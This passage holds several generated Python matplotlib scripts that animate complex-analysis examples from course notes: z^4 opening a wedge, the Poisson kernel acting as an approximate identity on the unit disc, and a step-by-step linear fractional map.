    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^4$ opens the wedge $0<\mathrm{Arg}\,z<\pi/4$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Warning 33.3, p. 172 (ch33:55); Example 33.5, p. 173 (ch33:164); Example 33.8 (temperature in a wedge), p. 174 (ch33:219)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+3*s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the wedge onto the upper half-plane;\nthe rays (isotherms, Example 33.8) stay rays, the arcs (heat flow) stay arcs'
TITLE = '$w=z^{1+3s},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 1.1, 5, 0, 0.7853981633974483, 6)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^4$ opens the wedge $0<\mathrm{Arg}\,z<\pi/4$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Warning 33.3, p. 172 (ch33:55); Example 33.5, p. 173 (ch33:164); Example 33.8 (temperature in a wedge), p. 174 (ch33:219)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+3*s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'the wedge onto the upper half-plane; the rays (isotherms, Example 33.8) stay rays, the arcs (heat flow) stay arcs'
TITLE = '$w=z^{1+3s},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.2, 1.1, 4, 0, 0.7853981633974483, 4)
HILITE = [6, 13]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Example 33.9: the Poisson kernel is an approximate identity.
Top: the unit disc coloured by phi (eq. 33.5) for boundary data g with one jump; the rim ring shows g.
Bottom: the kernel P_r(theta-t)/(2 pi) against t (orange, right axis) over g(t) (black, left axis).
As r grows the kernel concentrates at t = theta with mass 1, and phi(re^{i theta}) -> g(e^{i theta});
at the jump the kernel straddles it and phi = average of the two sides = 0.5.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import LineCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


# boundary data: continuous on the circle except at t = 0, where it jumps from 1 (t -> 2pi-) to 0 (t -> 0+)
g = lambda t: np.mod(t, 2 * np.pi) / (2 * np.pi) + 0.2 * np.sin(3 * t)
N = 12000; S = -np.pi + 2 * np.pi * (np.arange(N) + 0.5) / N; H = 2 * np.pi / N   # midpoint rule in s = t - theta
P = lambda r, s: (1 - r * r) / (1 - 2 * r * np.cos(s) + r * r)                       # the kernel of (33.5)


def phi(r, th):   # eq. (33.5) by the midpoint rule
    return (P(r, S) * g(th + S)).sum() * H / (2 * np.pi)


# the colouring: phi = Re(c0 + 2 sum c_n z^n), c_n the Fourier coefficients of g
M = 4096; gs = g(2 * np.pi * np.arange(M) / M); gs[0] = 0.5; c = np.fft.fft(gs) / M; c = np.r_[c[0], 2 * c[1:700]]
xx = np.linspace(-1, 1, 181); Z = xx[None, :] + 1j * xx[:, None]
PH = np.where(abs(Z) < 1, np.polyval(c[::-1], np.where(abs(Z) < 1, Z, 0)).real, np.nan)
assert abs(np.polyval(c[::-1], 0.5 * np.exp(0.7j)).real - phi(0.5, 0.7)) < 1e-4
assert abs(phi(0.9, 0.0) - 0.5) < 1e-9 and abs(phi(0.0, 1.0) - 0.5) < 1e-4

TH0 = 1.6; SCHED = []
SCHED += [("start", 0.0, TH0)] * 20
SCHED += [("grow", 0.98 * ease(i / 69), TH0) for i in range(70)] + [("near", 0.98, TH0)] * 22
SCHED += [("move", 0.98, TH0 * (1 - ease(i / 59))) for i in range(60)] + [("jump", 0.98, 0.0)] * 26
SCHED += [("back", 0.98 * (1 - ease(i / 31)), TH0 * ease(i / 31)) for i in range(32)] + [("start", 0.0, TH0)] * 6

fig = plt.figure(figsize=(7.4, 10.5))
title = fig.text(0.5, 0.94, "", ha="center", va="center", fontsize=13.5)
sub = fig.text(0.5, 0.906, "", ha="center", va="center", fontsize=12, color="0.3")
axd = fig.add_axes([0.05, 0.515, 0.9, 0.36]); axd.set_aspect("equal"); axd.axis("off")
axd.set_xlim(-1.3, 1.3); axd.set_ylim(-1.18, 1.18)
axd.imshow(PH, extent=(-1, 1, -1, 1), origin="lower", cmap="coolwarm", vmin=0, vmax=1, interpolation="nearest")
u = np.linspace(0, 2 * np.pi, 241); p = 1.07 * np.exp(1j * u)
seg = np.stack([np.c_[p.real[:-1], p.imag[:-1]], np.c_[p.real[1:], p.imag[1:]]], 1)
axd.add_collection(LineCollection(seg, colors=plt.cm.coolwarm(g(u[:-1] + 0.013)), linewidths=7))
axd.plot(np.cos(u), np.sin(u), color="k", lw=0.8)
axd.plot([1.0, 1.14], [0, 0], color="k", lw=1.2)
axd.text(1.16, 0.04, "jump of $g$\nat $t=0$", fontsize=10, va="bottom")
axd.text(-1.3, -1.16, r"disc coloured by $\phi$" + "\n" + r"ring: the data $g(e^{it})$", fontsize=10, va="bottom")
cb = fig.add_axes([0.87, 0.55, 0.018, 0.12]); fig.colorbar(axd.images[0], cax=cb, ticks=[0, 0.5, 1]); cb.tick_params(labelsize=9)

for x, y, l in ((0.24, 0.478, r"$r=$"), (0.24, 0.448, r"$\phi(re^{i\theta})=$"), (0.8, 0.478, r"mass $\frac{1}{2\pi}\int_{-\pi}^{\pi}P_r\,dt=$"),
                (0.8, 0.448, r"$g(e^{i\theta})=$")):
    fig.text(x, y, l, fontsize=12, va="center", ha="right")
vals = [fig.text(0.25 if i % 2 == 0 else 0.81, y, "", fontsize=12, va="center") for y in (0.478, 0.448) for i in range(2)]

ax = fig.add_axes([0.11, 0.065, 0.76, 0.33]); ax2 = ax.twinx()
ax.set_xlim(-np.pi, np.pi); ax.set_ylim(-0.1, 1.3); ax2.set_ylim(0, 3.0)
ax.set_xticks([-np.pi, -np.pi / 2, 0, np.pi / 2, np.pi]); ax.set_xticklabels(["$-\\pi$", r"$-\frac{\pi}{2}$", "$0$", r"$\frac{\pi}{2}$", "$\\pi$"])
ax.set_xlabel("$t$", labelpad=0); ax.set_ylabel(r"$g(e^{it})$  (black)"); ax.tick_params(labelsize=10)
ax2.set_ylabel(r"kernel $\frac{1}{2\pi}P_r(\theta-t)$  (orange)", color=PCOL); ax2.tick_params(labelsize=10, colors=PCOL)
t = np.linspace(-np.pi, np.pi, 1201); gt = g(t); gt[600] = np.nan
ax.plot(t, gt, color="k", lw=1.8, zorder=5)
kline = ax2.plot([], [], color=PCOL, lw=2)[0]
kfill = ax2.fill(np.r_[t, t[::-1]], 0 * np.r_[t, t], color=PCOL, alpha=0.25, lw=0)[0]
leg = ax.legend(handles=[ax.scatter([], [], s=40, color="k"), ax.scatter([], [], marker="*", s=160, color="tab:purple")],
                labels=[r"$g(e^{i\theta})$", r"$\phi(re^{i\theta})$"], loc="upper left", fontsize=10.5)


def frame(k):
    clear()
    ph, r, th = SCHED[k]
    v = phi(r, th); gv = g(th); mass = P(r, S).sum() * H / (2 * np.pi); pk = (1 + r) / (1 - r) / (2 * np.pi)
    z = r * np.exp(1j * th)
    live.extend(axd.plot([0, z.real], [0, z.imag], color="k", lw=0.8, ls=":"))
    live.append(axd.scatter([z.real], [z.imag], s=70, color="tab:purple", edgecolor="w", lw=1.5, zorder=6))
    live.append(axd.scatter([np.cos(th)], [np.sin(th)], s=35, color="k", zorder=6))
    q = (r - 0.2) * np.exp(1j * th) + 0.12j * np.exp(1j * th) if r > 0.5 else z + 0.17j * np.exp(1j * th)
    live.append(axd.text(q.real, q.imag, r"$re^{i\theta}$", fontsize=12, ha="center", va="center", color="tab:purple"))
    t0 = np.angle(np.exp(1j * th)); kt = P(r, t0 - t) / (2 * np.pi)
    kline.set_data(t, kt); kfill.set_xy(np.c_[np.r_[t, t[::-1]], np.r_[np.minimum(kt, 3.5), 0 * t]])
    live.append(ax.axvline(t0, color="0.6", lw=0.8, ls="--"))
    if pk > 3:
        live.append(ax2.text(t0 + (0.12 if t0 < 2 else -0.12), 2.9, "peak %.2f\n(clipped)" % pk, color=PCOL, fontsize=10,
                             va="top", ha="left" if t0 < 2 else "right"))
    if ph != "jump":
        live.append(ax.scatter([t0], [gv], s=40, color="k", zorder=7))
    live.append(ax.scatter([t0], [v], marker="*", s=160, color="tab:purple", zorder=8))
    vals[0].set_text("%.3f,   \u03b8 = %.3f" % (r, th)); vals[1].set_text("%.4f" % mass); vals[2].set_text("%.4f" % v)
    vals[3].set_text("%.4f" % gv if ph != "jump" else "jump 1 \u2192 0")
    if ph == "jump":
        rt = (P(r, S) * (S > 0)).sum() * H / (2 * np.pi)
        live.append(ax2.text(-0.15, 0.75, "mass %.4f\n$t<0$ side" % (mass - rt), color=PCOL, fontsize=10, ha="right"))
        live.append(ax2.text(0.15, 1.9, "mass %.4f\n$t>0$ side" % rt, color=PCOL, fontsize=10, ha="left"))
    T = {"start": (r"Example 33.9: $\phi(re^{i\theta})=\frac{1}{2\pi}\int_0^{2\pi}P_r(\theta-t)\,g(e^{it})\,dt$",
                   r"$r=0$: the kernel is flat, so $\phi(0)$ is the average of $g$"),
         "grow": (r"As $r\uparrow1$ the kernel concentrates at $t=\theta$; its mass stays $1$",
                  r"so $\phi(re^{i\theta})$ is pulled towards $g(e^{i\theta})$"),
         "near": (r"$r=0.98$: $\phi(re^{i\theta})$ is close to $g(e^{i\theta})$",
                  r"positive, mass $1$, concentrated: an approximate identity"),
         "move": (r"Move $\theta$ with $r=0.98$ fixed: $\phi$ follows $g$ round the rim",
                  r"the kernel travels with the probe; its shape does not change"),
         "jump": (r"At the jump the kernel sits astride it: half its mass on each side",
                  r"so $\phi=\frac{1}{2}\cdot1+\frac{1}{2}\cdot0=0.5$ for every $r$ (the notes assume $g$ continuous)"),
         "back": (r"Back to $r=0$", r"the kernel spreads out again")}[ph]
    title.set_text(T[0]); sub.set_text(T[1])


if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=65)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(100)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""A linear fractional map, step by step: $\frac{z-1}{z+1}$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Definition 34.1 and Theorem 34.2(iv), p. 177 (ch34-lft.tex:12, 37); Corollary 34.3 and Proposition 34.4, p. 178 (ch34:92, 105) -- example map chosen here
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * ((z-1)/(z+1))
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-2.2, 3.2, -2.7, 2.7)
SUB = 'every point moves in a straight line from $z$ to $\\frac{z-1}{z+1}$'
TITLE = '$w=(1-s)\\,z+s\\,\\frac{z-1}{z+1},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (0, 3, -2, 2, 7, 9)
AVOID = []
EXTRAS = [('1j*(-8+16*u)', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
